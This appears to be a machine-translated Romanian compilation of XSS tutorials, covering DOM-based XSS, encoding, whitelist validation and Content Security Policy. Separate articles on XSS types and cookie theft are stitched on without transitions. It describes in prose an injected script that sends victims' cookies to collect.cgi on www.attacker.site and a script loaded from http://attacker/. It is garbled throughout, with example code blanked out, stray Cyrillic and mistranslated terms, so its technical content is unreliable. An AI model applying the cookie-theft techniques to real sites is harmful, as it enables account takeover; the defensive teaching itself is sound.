    Cu toate acestea, pe măsură ce aplicațiile web devin mai avansate, din ce în ce mai multe pagini HTML sunt generate folosind JavaScript pe partea clientului, mai degrabă decât pe server. În orice moment, conținutul ar trebui să se schimbe fără a reîmprospăta întreaga pagină, acest lucru este posibil folosind JavaScript. În special, acesta este cazul când pagina este reîmprospătată după o solicitare AJAX.

    Aceasta înseamnă că vulnerabilitățile XSS pot fi prezente nu numai în codul de la partea serverului site-ului dvs., ci și în codul JavaScript de la partea client al site-ului dvs. Prin urmare, chiar și cu codul complet securizat pe partea de server, este posibil ca codul client să nu includă în siguranță intrarea utilizatorului la actualizarea DOM-ului după ce pagina s-a încărcat. Dacă se întâmplă acest lucru, codul de pe partea client va permite ca un atac XSS să aibă loc fără nicio vină a codului de pe partea serverului.

    Este posibil ca XSS bazat pe DOM să nu fie vizibil pentru server

    Există un caz special de atac XSS în DOM în care șirul rău intenționat nu este niciodată trimis către serverul site-ului web: acest lucru se întâmplă atunci când șirul rău intenționat este conținut în porțiunea de identificare a URL-ului (orice după simbolul #). Browserele nu trimit această parte a adresei URL către server, așa că site-ul web nu o poate accesa folosind codul de pe partea serverului. Cu toate acestea, codul clientului are acces la el și, astfel, este posibil să se efectueze un atac XSS prin procesare nesigură.

    Acest caz nu se limitează la ID-ul fragmentului. Există și alte intrări ale utilizatorului care sunt invizibile pentru server, cum ar fi noile funcții HTML5, cum ar fi LocalStorage și IndexedDB.

    Partea a treia:
    XSS Prevention Tehnici de prevenire XSS

    Amintiți-vă că XSS este un atac de injecție de cod: intrarea utilizatorului este interpretată în mod eronat ca cod rău intenționat. Pentru a preveni acest tip de injectare de cod, este necesară o manipulare sigură a intrărilor. Pentru un dezvoltator web, există două moduri fundamental diferite de a efectua procesarea securizată a intrărilor:

    • Codificarea este o metodă care permite utilizatorului să introducă date doar ca date și nu permite browserului să le proceseze ca cod.
    • Validarea este o modalitate de filtrare a intrărilor utilizatorului, astfel încât browserul să o interpreteze ca cod fără comenzi rău intenționate.

    Deși acestea sunt metode de atenuare a XSS fundamental diferite, ele împărtășesc câteva caracteristici comune care sunt importante de înțeles atunci când utilizați oricare dintre acestea:

    Context Gestionarea securizată a intrărilor trebuie făcută diferit, în funcție de locul în care este utilizată intrarea utilizatorului din pagină. inbound/outbound Procesarea securizată a intrărilor se poate face fie atunci când site-ul dvs. primește input (trafic de intrare) fie chiar înainte ca site-ul să insereze input-ul utilizatorului în conținutul paginii (outbound). Client/Server Procesarea securizată a intrărilor se poate face fie pe partea client, fie pe partea serverului, fiecare opțiune fiind necesară în circumstanțe diferite.

    Înainte de a explica în detaliu cum funcționează codarea și validarea, vom descrie fiecare dintre aceste puncte.

    Gestionarea intrărilor utilizatorului în contexte

    Există multe contexte pe o pagină web în care poate fi aplicată intrarea utilizatorului. Pentru fiecare dintre ele, trebuie respectate reguli speciale pentru a se asigura că intrarea utilizatorului nu poate scăpa din contextul său și nu poate fi interpretată ca cod rău intenționat. Următoarele sunt cele mai comune contexte:

    De ce contează contextele?

    În toate contextele descrise, ar putea apărea o vulnerabilitate XSS dacă intrarea utilizatorului a fost inserată înainte de prima codificare sau validare. Un atacator poate injecta cod rău intenționat prin simpla inserare a unui delimitator de închidere pentru acest context, urmat de cod rău intenționat.

    De exemplu, dacă la un moment dat un site web include intrarea utilizatorului direct într-un atribut HTML, un atacator ar putea injecta un script rău intenționat pornind intrarea lor cu un citat, după cum se arată mai jos:

    Acest lucru ar putea fi prevenit prin simpla eliminare a tuturor ghilimelelor din intrarea utilizatorului și totul ar fi bine, dar numai în acest context. Dacă intrarea a fost inserată într-un context diferit, delimitatorul de închidere va fi diferit și va fi posibilă injectarea. Din acest motiv, gestionarea securizată a intrărilor ar trebui să fie întotdeauna adaptată contextului în care va fi inserată intrarea utilizatorului.

    Gestionarea intrărilor de intrare/ieșire ale utilizatorului

    Instinctiv, s-ar părea că XSS ar putea fi prevenit prin codificarea sau validarea tuturor intrărilor utilizatorului de îndată ce site-ul nostru îl primește. În acest fel, orice șiruri rău intenționate vor fi deja neutralizate ori de câte ori sunt incluse în pagină, iar scripturile de generare HTML nu vor trebui să-și facă griji cu privire la gestionarea în siguranță a intrărilor utilizatorului.

    Problema este că, așa cum s-a descris mai devreme, intrarea utilizatorului poate fi inserată în mai multe contexte pe o pagină. Și nu există o modalitate ușoară de a determina când intrarea utilizatorului intră într-un context - cum va fi în cele din urmă inserată și aceeași intrare de utilizator trebuie adesea inserată în contexte diferite. Bazându-ne pe procesarea intrărilor de intrare pentru a preveni XSS, creăm o soluție foarte fragilă, care va fi predispusă la erori. („Citatele magice” vechi PHP sunt un exemplu de astfel de soluție.)

    În schimb, procesarea intrărilor de ieșire ar trebui să fie linia dvs. principală de apărare împotriva XSS, deoarece poate ține cont de contextul specific al intrării utilizatorului care va fi inserată. Într-o oarecare măsură, validarea de intrare poate fi folosită pentru a adăuga un nivel secundar de securitate, dar mai multe despre asta mai târziu.

    Unde este posibil să se gestioneze în siguranță introducerea utilizatorului?

    În majoritatea aplicațiilor web moderne, intrarea utilizatorului este procesată atât pe partea serverului, cât și pe partea clientului. Pentru a vă proteja împotriva tuturor tipurilor de XSS, gestionarea securizată a intrărilor trebuie făcută atât în ​​codul serverului, cât și pe partea clientului.

    • Pentru a vă proteja împotriva XSS tradițional, gestionarea securizată a intrărilor trebuie făcută în codul serverului. Acest lucru se face folosind un limbaj acceptat de server.
    • Pentru a vă proteja împotriva unui atac XSS în DOM, unde serverul nu primește niciodată un șir rău intenționat (cum ar fi atacul de fragment de identificare descris mai devreme), gestionarea securizată a intrărilor trebuie să fie făcută în codul clientului. Acest lucru se face folosind JavaScript.

    Acum că am explicat de ce contează contextul, de ce este importantă distincția dintre procesarea intrărilor de intrare și de ieșire și de ce procesarea securizată a intrărilor trebuie făcută de ambele părți, partea client și partea serverului, putem continua să explicăm cum cele două tipuri de procesare securizată a intrărilor (codificare și validare) sunt efectiv efectuate.

    Codificare

    Codarea este o cale de ieșire dintr-o situație în care este necesar ca browserul să interpreteze intrarea utilizatorului doar ca date, și nu ca cod. Cel mai popular tip de codare în dezvoltarea web este mascarea HTML, care convertește caractere precum< и >V< и >respectiv.

    Următorul pseudocod este un exemplu al modului în care intrarea utilizatorului (intrarea utilizatorului) poate fi codificată folosind mascarea HTML și apoi inserată într-o pagină folosind un script pe partea de server:

    imprimare ""
    print "Ultimul comentariu: "
    print encodeHtml(userInput)
    imprimare ""

    Dacă utilizatorul introduce următoarea linie..., HTML-ul rezultat va arăta astfel:


    Ultimul comentariu:
    ...

    Deoarece toate caracterele cu semnificație specială au fost eliminate, browserul nu va analiza nicio parte a intrării utilizatorului, cum ar fi HTML.

    Codarea codului client și server

    Când se efectuează codificare pe partea clientului, se folosește întotdeauna JavaScript, care are funcții încorporate care codifică date pentru diferite contexte.

    Când faceți codarea în codul dvs. de pe partea serverului, vă bazați pe caracteristicile disponibile în limba sau cadrul dvs. Datorită numărului mare de limbi și cadre disponibile, acest tutorial nu va acoperi detaliile de codificare în nici un anumit limbaj sau cadru de server. Cu toate acestea, funcțiile de codare JavaScript utilizate pe partea clientului sunt, de asemenea, utilizate la scrierea codului pe partea serverului.

    Codificare partea clientului

    La codificarea intrărilor utilizatorului de pe partea clientului folosind JavaScript, există mai multe metode și proprietăți încorporate care codifică automat toate datele într-un stil sensibil la context:

    Ultimul context deja menționat mai sus (valori în JavaScript) nu este inclus în această listă, deoarece JavaScript nu oferă o modalitate încorporată de codificare a datelor care vor fi incluse în codul sursă JavaScript.

    Limitări de codificare

    Chiar și atunci când se codifică, este posibil să se utilizeze șiruri rău intenționate în anumite contexte. Un exemplu clar în acest sens este atunci când introducerea utilizatorului este utilizată pentru a furniza o adresă URL, ca în exemplul de mai jos:

    document.querySelector("a").href = userInput

    Deși specificarea unei valori pe proprietatea href a unui element o codifică automat astfel încât să devină nimic mai mult decât o valoare de atribut, acest lucru în sine nu împiedică un atacator să insereze o adresă URL care începe cu „javascript:”. Când se face clic pe un link, indiferent de construcție, JavaScript încorporat în URL va fi executat.

    Codarea nu este, de asemenea, o soluție eficientă atunci când doriți ca utilizatorii să poată folosi o parte din codul HTML de pe pagină. Un exemplu ar fi o pagină de profil de utilizator în care utilizatorul poate folosi HTML personalizat. Dacă acest cod HTML simplu este codificat, pagina de profil va putea fi formată numai din text simplu.

    În astfel de situații, codarea trebuie completată de validare, pe care o vom analiza mai târziu.

    Validare

    Validarea este actul de filtrare a intrărilor utilizatorului, astfel încât toate părțile rău intenționate ale acesteia să fie eliminate, fără a fi nevoie să eliminați tot codul din ea. Unul dintre cele mai utilizate tipuri de validare în dezvoltarea web vă permite să utilizați unele elemente HTML (de exemplu, și ) în timp ce dezactivați altele (de exemplu, ).

    Există două verificări caracteristice principale, care diferă în implementările lor:

    Strategie de clasificare Intrările utilizatorului pot fi clasificate folosind liste negre sau liste albe. Rezultatul validării Intrările utilizatorului identificate ca fiind rău intenționate pot fi respinse sau dezinfectate.

    Strategia de clasificare Lista neagră

    Instinctiv, pare oportun să se efectueze verificarea prin definirea unui model interzis care nu ar trebui să apară în introducerea utilizatorului. Dacă o linie se potrivește cu acest model, este marcată ca nevalidă. De exemplu, permiteți utilizatorilor să trimită adrese URL personalizate cu orice protocol, cu excepția javascript: . Această strategie de clasificare se numește lista neagră.

    Cu toate acestea, lista neagră are două dezavantaje principale:

    Dificultatea de a descrie cu acuratețe setul de toate șirurile posibile rău intenționate este de obicei o sarcină foarte dificilă. Exemplul de politică descrisă mai sus nu poate fi implementat cu succes prin simpla căutare a subșirului „javascript”, deoarece ar lipsi șiruri precum „Javascript:” (unde prima literă este majusculă) și „javascript:” (unde prima literă este codificată ca numeric). referirea la personaj). Depreciere Chiar dacă ar fi dezvoltată o listă neagră perfectă, ar fi inutil dacă o nouă caracteristică adăugată browserului ar putea fi folosită pentru atac. De exemplu, dacă o listă neagră de validare HTML a fost dezvoltată înainte ca atributul onmousewheel să fie introdus în HTML5, nu ar putea împiedica un atacator să folosească acest atribut pentru a efectua un atac XSS. Acest dezavantaj este deosebit de important în dezvoltarea web, care constă din multe tehnologii diferite care sunt actualizate în mod constant.

    Din cauza acestor neajunsuri, lista neagră este puternic descurajată ca strategie de clasificare. Lista albă este, în general, o abordare mult mai sigură, pe care o vom descrie în continuare.

    Lista albă

    Lista albă este în esență opusul unei liste negre: în loc să identifice un model interzis, abordarea listei albe identifică un model permis și marchează intrarea ca nevalidă dacă nu se potrivește acest șablon.

    Spre deosebire de listele negre, un exemplu de liste albe ar fi acela de a permite utilizatorilor să trimită adrese URL personalizate care conțin numai protocoalele http: și https:, nimic mai mult. Această abordare ar permite ca o adresă URL să fie marcată automat ca nevalidă dacă conține protocolul javascript:, chiar dacă este reprezentată ca „Javascript:” sau „javascript:”.

    În comparație cu o listă neagră, listele albe au două avantaje principale:

    Simplitate Descrierea cu acuratețe a setului de șiruri benigne este de obicei mult mai ușoară decât identificarea setului de șiruri rău intenționate. Acest lucru este aplicabil în special în situațiile generale în care intrarea utilizatorului trebuie să includă un set foarte limitat de funcționalități disponibile în browser. De exemplu, lista albă descrisă mai sus permite foarte simplu ca adresele URL să fie utilizate numai cu protocoalele HTTP: sau https: permise, iar în majoritatea situațiilor acest lucru este destul de suficient pentru utilizatori. Durabilitate Spre deosebire de o listă neagră, o listă albă de obicei nu devine învechită atunci când o nouă caracteristică este adăugată în browser. De exemplu, validarea listei albe HTML permite ca numai atributele de titlu ale elementelor HTML să rămână în siguranță, chiar dacă aceasta (lista albă) a fost concepută înainte de introducerea atributului HTML5 onmousewheel.

    Rezultatul validării

    Când intrarea utilizatorului a fost marcată ca nevalidă (interzisă), se poate întreprinde una dintre două acțiuni:

    Respingerea intrării este pur și simplu respinsă, împiedicând-o să fie folosită în altă parte a site-ului. Dezinfectarea tuturor părților nevalide ale datelor introduse este eliminată, iar intrarea rămasă este utilizată pe site ca de obicei.

    Dintre cele două, devierea este cea mai simplă abordare de implementat. Dar dezinfecția este considerată a fi mai utilă, deoarece oferă o gamă mai largă de input pentru utilizator. De exemplu, dacă un utilizator trimite un număr de card de credit, igienizarea va elimina toate caracterele non-simbol și va preveni injectarea de cod și, de asemenea, va permite utilizatorului să introducă un număr cu sau fără cratime.

    Dacă decideți să implementați dezinfecția, trebuie să vă asigurați că procedura de dezinfecție în sine nu utilizează o abordare pe lista neagră. De exemplu, adresa URL „Javascript:...”, chiar dacă este identificată folosind o listă albă ca fiind nevalidă, ar primi o rutină de ocolire a dezinfectării care pur și simplu elimină toate instanțele „javascript:”. Din acest motiv, bibliotecile și cadrele bine testate ar trebui să folosească dezinfectarea ori de câte ori este posibil.

    Ce metode ar trebui folosite pentru prevenire?

    Codificarea ar trebui să fie prima ta linie de apărare împotriva atacurilor XSS, scopul său este de a procesa datele în așa fel încât browserul să nu poată interpreta introducerea utilizatorului ca cod. În unele cazuri, codarea trebuie completată de validare. Codificarea și validarea trebuie aplicate traficului de ieșire, deoarece numai atunci puteți ști în ce context va fi aplicată intrarea utilizatorului și ce codificare și validare trebuie aplicate.

    Ca o a doua linie de apărare, ar trebui să aplicați igienizarea datelor primite sau respingerea intrărilor de utilizator în mod clar nevalide, cum ar fi linkurile, utilizând protocolul javascript:. Acest lucru nu poate oferi în sine o securitate completă, dar este o precauție utilă dacă orice punct din protecția de codare și validare ar putea eșua din cauza execuției incorecte.

    Dacă aceste două linii de apărare sunt utilizate în mod constant, site-ul dvs. va fi protejat de atacurile XSS. Cu toate acestea, din cauza complexității creării și întreținerii unui site web, furnizarea de securitate completă folosind doar procesarea securizată a intrărilor utilizatorului poate fi dificilă. Ca a treia linie de apărare, ar trebui să utilizați Politicile de securitate a conținutului ( Engleză Politica de securitate a conținutului), apoi CSP, pe care îl vom descrie mai jos.

    Politici de securitate a conținutului (CSP)

    Folosirea doar a gestionării securizate a intrărilor utilizatorului pentru a vă proteja împotriva atacurilor XSS nu este suficientă, deoarece chiar și o singură greșeală de securitate vă poate compromite site-ul. Adoptarea politicilor de securitate a conținutului (CSP) din noul standard web poate reduce acest risc.

    CSP-urile sunt folosite pentru a restricționa utilizarea de către un browser a unei pagini web, astfel încât acesta să poată utiliza numai resurse descărcate din surse de încredere. A resurse sunt scripturi, foi de stil, imagini sau alt tip de fișier la care se face referire pe o pagină. Aceasta înseamnă că, chiar dacă un atacator reușește să injecteze conținut rău intenționat în site-ul dvs., CSP-ul va putea împiedica executarea acestuia.

    CSP poate fi folosit pentru a aplica următoarele reguli:

    Interzicerea surselor de încredere Resursele externe pot fi descărcate numai dintr-un set de surse de încredere clar definite. Prin interzicerea resurselor încorporate, JavaScript inline și CSS nu vor fi luate în considerare. Dezactivarea evalului interzice utilizarea funcției eval în JavaScript.

    CSP în acțiune

    În exemplul următor, un atacator a reușit să injecteze cod rău intenționat într-o pagină web:


    Ultimul comentariu:

    Cu o politică CSP definită corect, browserul nu poate descărca și executa malicious-script.js deoarece http://attacker/ nu este specificat ca sursă de încredere. Chiar dacă site-ul nu a reușit să proceseze în mod fiabil inputul utilizatorului în acest caz, politicile CSP au împiedicat vulnerabilitatea să provoace vreun rău.

    Chiar dacă atacatorul a injectat cod în codul de script, mai degrabă decât un link către un fișier extern, o politică CSP configurată corespunzător va preveni, de asemenea, injectarea în codul JavaScript, prevenind vulnerabilitatea și provocând orice rău.

    Cum se activează CSP?

    În mod implicit, browserele nu folosesc CSP. Pentru a activa SCP pe site-ul dvs., paginile trebuie să conțină un antet HTTP suplimentar: Politică de securitate de conținut. Orice pagină care conține acest antet va aplica politicile de securitate atunci când este încărcată de browser, cu condiția ca browserul să accepte CSP.

    Deoarece politica de securitate este trimisă cu fiecare răspuns HTTP, este posibil ca serverul să seteze politica individual pentru fiecare pagină. Aceeași politică poate fi aplicată întregului site web inserând același antet CSP în fiecare răspuns.

    Valoarea din antetul Content‑Security‑Policy conține un șir care definește una sau mai multe politici de securitate care vor rula pe site-ul dvs. Sintaxa acestei linii va fi descrisă mai jos.

    Exemplele de titlu din această secțiune folosesc rupturi de rând și indentări pentru ușurință de referință; nu ar trebui să apară în titlul propriu-zis.

    Sintaxa CSP

    Sintaxa antetului CSP este următoarea:

    Politica de securitate a conținutului:
    directivă sursă-expresie, sursă-expresie, ...;
    directivă ...;
    ...

    Această sintaxă constă din două elemente:

    • Directivele sunt șiruri de caractere care indică tipul de resursă luat dintr-o listă dată.
    • Expresiile sursă sunt un model care descrie unul sau mai multe servere de pe care pot fi încărcate resurse.

    Pentru fiecare directivă, datele din expresia sursă specifică ce surse pot fi folosite pentru a încărca resurse de tipul corespunzător.

    Directive

    Următoarele directive pot fi utilizate în antetul CSP:

    • connect-src
    • font-src
    • cadru-src
    • img-src
    • media-src
    • obiect-src
    • script-src
    • stil-src

    În plus, directiva specială default-src poate fi utilizată pentru a furniza o valoare implicită pentru toate directivele care nu au fost incluse în antet.

    Expresia sursă

    Sintaxa pentru crearea unei expresii sursă este următoarea:

    protocol:// nume gazdă: numărul portului

    Numele de gazdă poate începe cu *, ceea ce înseamnă că orice subdomeniu al numelui de gazdă furnizat va fi rezolvat. În mod similar, numărul portului poate fi reprezentat ca *, ceea ce înseamnă că toate porturile vor fi permise. În plus, protocolul și numărul portului pot fi omise. Dacă nu este specificat niciun protocol, politica va cere ca toate resursele să fie încărcate folosind HTTPS.

    În plus față de sintaxa de mai sus, expresia sursă poate fi alternativ unul dintre cele patru cuvinte cheie cu o semnificație specială (inclusiv ghilimele):

    „niciunul” dezactivează resursele. „self” permite resurse de la gazda pe care se află pagina web. „unsafe-inline” rezolvă resursele conținute în pagină ca elemente inline, elemente și javascript: URL-uri. „unsafe-eval” activează funcția JavaScript eval .

    Vă rugăm să rețineți că ori de câte ori este utilizat CSP, resursele încorporate și eval sunt dezactivate automat în mod implicit. Utilizarea „unsafe-inline” și „unsafe-eval” este singura modalitate de a le folosi.

    Exemplu de politică

    Politica de securitate a conținutului:
    script-src „self” scripts.example.com;
    media-src „niciunul”;
    img-src *;
    default-src „self” http://*.example.com

    Cu acest exemplu de politică, pagina web va avea următoarele restricții:

    • Scripturile pot fi descărcate numai de la gazda pe care se află pagina web și de la această adresă: scripts.example.com.
    • Descărcarea fișierelor audio și video este interzisă.
    • Fișierele imagine pot fi descărcate de la orice adresă.
    • Toate celelalte resurse pot fi încărcate numai de la gazda pe care se află pagina web și din orice subdomeniu al example.com.
    Starea CSP

    Din iunie 2013, politicile de securitate a conținutului sunt recomandate de consorțiul W3C. CSP este implementat de dezvoltatorii de browsere, dar unele părți ale acestuia sunt specifice diferitelor browsere. De exemplu, utilizarea antetului HTTP poate diferi între browsere. Înainte de a utiliza CSP, consultați documentația browserelor pe care intenționați să le susțineți.

    Rezumat Rezumat: Prezentare generală XSS
    • Un atac XSS este un atac de injectare de cod posibil prin procesarea nesigură a intrărilor utilizatorului.
    • Un atac XSS de succes permite atacatorului să execute JavaScript rău intenționat în browserul victimei.
    • Un atac XSS de succes compromite securitatea atât a site-ului web, cât și a utilizatorilor săi.
    Rezumat: atacuri XSS
    • Există trei tipuri principale de atacuri XSS:
      • XSS stocat, unde intrările rău intenționate provin din baza de date a site-ului web.
      • XSS reflectat, unde intrarea rău intenționată provine din solicitarea victimei.
      • Atacuri XSS în DOM, unde vulnerabilitatea este exploatată în cod pe partea clientului, și nu pe partea serverului.
    • Toate aceste atacuri sunt efectuate diferit, dar au același efect dacă au succes.
    Rezumat: Prevenirea XSS
    • Cel mai important mod de a preveni atacurile XSS este de a efectua procesarea securizată a intrărilor.
      • Codificarea trebuie făcută ori de câte ori introducerea utilizatorului este activată pe pagină.
      • În unele cazuri, codarea trebuie înlocuită sau completată prin validare.
      • Gestionarea securizată a intrărilor trebuie să ia în considerare contextul de pagină în care este introdusă intrarea utilizatorului.
      • Pentru a preveni toate tipurile de atacuri XSS, procesarea securizată a intrărilor trebuie făcută atât în ​​codul client cât și pe partea serverului.
    • Politicile de securitate a conținutului (CSP) oferă un nivel suplimentar de protecție în cazul în care procesarea securizată a intrărilor conține o eroare.
    Anexă Terminologie

    Trebuie remarcat faptul că există un crossover în terminologia folosită pentru a descrie XSS: un atac XSS în DOM poate fi fie stocat, fie reflectat; Acestea nu sunt tipuri separate de atacuri. Nu există o terminologie general acceptată care să acopere toate tipurile de XSS fără confuzie. Indiferent de terminologia folosită pentru a descrie XSS, cel mai important lucru este să determinați tipul de atac, acest lucru este posibil dacă știți de unde vine intrarea rău intenționată și unde este localizată vulnerabilitatea.

    Drepturi de utilizare și linkuri

    Codul sursă pentru Excesul de XSS este disponibil pe GitHub.

    Excesul de XSS a fost creat în 2013 ca parte a cursului de securitate bazată pe limbaj de la Chalmers University of Technology.

    Traducerea în rusă a fost efectuată de A888R, textul original în limba engleză: excess-xss.com, comentariile, sugestiile și erorile de traducere trebuie trimise aici.

    Folosind XSS, atacatorii experimentați integrează scripturi care rulează pe ei în paginile site-urilor victime, executate atunci când vizitează resurse infectate. Există mai multe tipuri de vulnerabilități XSS care prezintă grade diferite de severitate.

    Caracteristici ale vulnerabilității pasive și active

    Ar trebui să fii foarte atent atunci când ai de-a face cu vulnerabilități active. Când un atacator își injectează codul SQL într-o bază de date sau într-un fișier accesibil de pe un server, fiecare vizitator al resursei infectate poate deveni o victimă. Astfel de locuri sunt adesea integrate, astfel încât chiar și datele stocate în baza de date procesată de protecția dvs. pot reprezenta în continuare un anumit pericol.

    Crearea unei vulnerabilități XSS pasive necesită o anumită creativitate din partea atacatorului. Fie te atrag către o resursă falsă cu tot felul de link-uri, fie încearcă să te redirecționeze către site-ul necesar prin orice mijloace. Acest lucru se întâmplă de obicei prin scrisori din partea administrației fictive a paginii pe care o vizitați, prin care vă solicită să vă verificați setările contului. De asemenea, sunt utilizate în mod activ diverse mesaje spam sau postări pe forumuri larg vizitate.

    Vulnerabilitățile XSS pasive pot proveni atât din parametrii POST, cât și din GET. Primele sunt caracterizate de o serie de trucuri diferite, în timp ce cele din urmă se caracterizează prin codificarea șirului URL sau inserarea de valori suplimentare.

    Furtul de prăjituri

    Cel mai adesea, cookie-urile dvs. devin ținta unui atac XSS. Uneori, acestea conțin informații valoroase, inclusiv date de conectare și parole ale utilizatorilor sau hash-ul lor. Dar furtul sesiunilor active ale site-urilor care sunt importante pentru tine este, de asemenea, destul de periculos, așa că nu uitați să faceți clic pe butonul „ieșire” chiar și atunci când vizitați site-uri de pe computerul de acasă. Deși majoritatea resurselor folosesc limite automate de durată a sesiunii pentru a preveni astfel de acțiuni. Restricțiile de domeniu XMLHttpRequest nu protejează împotriva unor astfel de atacuri.

    Date din formularele completate

    Citirea informațiilor în formulare care se pot completa este, de asemenea, populară. Pentru a face acest lucru, urmărirea evenimentelor (onsubmit) este efectuată pe paginile de interes și toate datele furnizate sunt trimise și către serverele atacatorilor. Astfel de atacuri sunt în multe privințe similare cu atacurile de tip phishing, dar furtul nu are loc pe unul fals, ci pe un site real cu o bună reputație.

    Atacurile DDoS distribuite

    Resursele multi-vizitate sunt, de asemenea, folosite pentru atacurile XSS. Datorită vulnerabilității XSS, cererile care vin la ei sunt redirecționate către serverul piratat, drept urmare protecția acestuia eșuează.

    Falsificarea cererii pe mai multe site-uri (CSRF/XSRF)

    De asemenea, au puține în comun cu XSS. Acesta este un tip separat de vulnerabilitate utilizat în combinație cu XSS. Scopul lor este de a atrage un utilizator autorizat de pe un site invulnerabil la o pagină vulnerabilă falsă pentru a efectua tranzacții frauduloase. De exemplu, un client care folosește un sistem de plată electronică este atras către un site vulnerabil care transferă bani în conturile atacatorilor. Prin urmare, majoritatea sistemelor de plată oferă protecție prin introducerea suplimentară a unei parole sau a unui cod de confirmare a operațiunii.

    Injectarea viermilor XSS

    Un astfel de atac XSS asupra unui site web a apărut odată cu dezvoltarea unor rețele sociale binecunoscute (VKontakte, Twitter și altele). Prin intermediul acestora, grupuri întregi de utilizatori primesc legături XSS vulnerabile cu scripturi integrate care trimit spam prin rețele în numele lor. De asemenea, este practicat pe scară largă copierea simultană a informațiilor personale și a fotografiilor în resursele atacatorilor.

    Exemple de XSS inofensive

    Rețineți că multe tipuri de contoare acționează și ca XSS activ. Ei transmit date despre vizitatorii înregistrați (adresele IP ale acestora, date despre echipamentul utilizat).

    Doar acest cod este integrat în computerul dumneavoastră după propria dumneavoastră voință. Alte XSS similare pot include cu ușurință o serie de solicitări AJAX pe mai multe domenii.

    Ory Segal

    Aflați cum folosesc hackerii atacurile de tip cross-site scripting, ce daunează (și nu), cum să le detecteze și cum să vă protejați site-ul Web și vizitatorii acestuia de aceste încălcări rău intenționate de confidențialitate și securitate.

    Cross-site scripting (sau XSS pe scurt) este unul dintre cele mai comune atacuri la nivel de aplicație pe care hackerii le folosesc pentru a compromite aplicațiile Web. XSS este un atac la confidențialitatea clienților unui anumit site Web. Poate duce la distrugerea completă a sistemului de securitate atunci când datele clientului sunt furate și utilizate în viitor într-un anumit scop. Majoritatea atacurilor implică două părți: fie un atacator și un site web, fie un atacator și un client victimă. Cu toate acestea, un atac XSS implică trei părți: atacatorul, clientul și site-ul web.

    Scopul unui atac XSS este de a fura cookie-uri sau alte informații sensibile de pe computerul unui client care poate identifica clientul pe un site Web. Avand informatii care sa-l identifice ca utilizator legitim, un atacator poate actiona pe site ca un astfel de utilizator, i.e. pretinde că sunt el. De exemplu, într-un audit efectuat la o companie mare, a fost posibil să obțineți informațiile private ale unui utilizator și numărul cardului de credit folosind un atac XSS. Acest lucru a fost realizat prin rularea unui cod JavaScript personalizat. Acest cod a fost executat în browserul victimei (clientului), care avea privilegii de acces la site-ul Web. Există un număr foarte limitat de privilegii JavaScript care nu oferă scriptului acces la altceva decât la informații specifice site-ului. Este important de subliniat faptul că, deși vulnerabilitatea există pe site-ul Web, site-ul Web în sine nu este afectat direct. Dar acest lucru este suficient pentru ca scriptul să colecteze cookie-uri și să le trimită atacatorului. Drept urmare, atacatorul primește datele necesare și poate imita victima.

    Să denumim site-ul atacat astfel: www.vulnerable.site. Un atac XSS tradițional se bazează pe un script vulnerabil care se află pe un site web vulnerabil. Acest script citește o parte a unei solicitări HTTP (de obicei parametri, dar uneori și antete sau cale HTTP) și o repetă pentru pagina de răspuns, fie în totalitate, fie doar parțial. Acest lucru nu igienizează solicitarea (adică nu verifică dacă solicitarea nu conține cod JavaScript sau etichete HTML). Să presupunem că acest script se numește welcome.cgi și parametrul său este numele. Poate fi folosit astfel:

    Cum se poate abuza de asta? Atacatorul trebuie să poată atrage clientul (victima) să facă clic pe linkul pe care atacatorul i-l oferă. Acesta este un link creat cu grijă și rău intenționat, care determină browserul Web al victimei să acceseze un site web (www.vulnerable.site) și să execute un script vulnerabil. Datele pentru acest script conțin cod JavaScript care accesează cookie-urile stocate de browserul clientului pentru site-ul www.vulnerable.site. Acest lucru este permis deoarece browserul clientului „crede” că codul JavaScript provine de la www.vulnerable.site. Și modelul de securitate JavaScript permite scripturilor care provin dintr-un anumit site să acceseze cookie-urile care aparțin site-ului respectiv.

    Răspunsul din partea site-ului vulnerabil va fi următorul:

    Bine ati venit! Bună alertă (document.cookie)

    Bun venit la sistemul nostru...

    Browserul clientului victimei interpretează această solicitare ca o pagină HTML care conține o bucată de cod JavaScript. Acest cod, atunci când este executat, va avea acces la toate cookie-urile aparținând site-ului www.vulnerable.site. În consecință, va provoca o fereastră pop-up în browser care arată toate cookie-urile clientului care sunt legate de www.vulnerable.site.

    Desigur, un atac real ar presupune trimiterea acestor fișiere către atacator. Pentru a face acest lucru, un atacator poate crea un site Web (www.attacker.site) și poate folosi un script pentru a primi cookie-uri. În loc să apeleze o fereastră pop-up, atacatorul ar scrie cod care accesează adresa URL la www.attacker.site. În acest sens, se execută un script pentru a obține cookie-uri. Parametrul acestui script este cookie-urile furate. Astfel, un atacator poate obține cookie-uri de pe serverul www.attacker.site.

    Imediat după încărcarea acestei pagini, browserul va executa codul JavaScript inserat acolo și va transmite solicitarea către scriptul collect.cgi de pe www.attacker.site împreună cu valoarea cookie-urilor de pe www.vulnerable.site pe care browserul le are deja. Acest lucru subminează securitatea cookie-urilor www.vulnerable.site pe care le are clientul. Acest lucru permite atacatorului să pretindă că este victima. Confidențialitatea clientului este complet încălcată.

    Notă.
    De obicei, apelarea unui pop-up folosind JavaScript este suficientă pentru a demonstra vulnerabilitatea unui site la un atac XSS. Dacă puteți apela funcția Alert din JavaScript, de obicei nu există niciun motiv pentru care apelul ar eșua. Acesta este motivul pentru care majoritatea exemplelor de atacuri XSS folosesc funcția Alert, ceea ce face foarte ușor să se determine succesul atacului.

    Atacul poate avea loc doar în browserul victimei, același folosit pentru accesarea site-ului (www.vulnerable.site). Atacatorul trebuie să forțeze clientul să acceseze legătura rău intenționată. Acest lucru poate fi realizat în mai multe moduri.

    • Atacatorul trimite un e-mail care conține o pagină HTML care păcălește browserul să deschidă un link. Acest lucru necesită ca victima să folosească un client de e-mail care poate gestiona HTML. Și vizualizatorul HTML de pe client trebuie să fie același browser care este folosit pentru a accesa www.vulnerable.site.
    • Un client vizitează un site, posibil creat de un atacator, unde un link către o imagine sau alt element HTML pe care se poate face clic determină browserul să deschidă linkul. Din nou, în acest caz, este imperativ ca același browser să fie folosit pentru a accesa atât acest site, cât și site-ul www.vulnerable.site.

    Codul JavaScript rău intenționat poate accesa oricare dintre următoarele informații:

    • cookie-uri persistente (ale site-ului www.vulnerable.site), care sunt stocate de browser;
    • cookie-uri în memorie (a site-ului www.vulnerable.site), care sunt suportate de instanța browserului doar la vizualizarea site-ului www.vulnerable.site;
    • numele altor ferestre deschise pentru site-ul www.vulnerable.site.
    • orice informație disponibilă prin DOM-ul curent (din valori, cod HTML etc.).

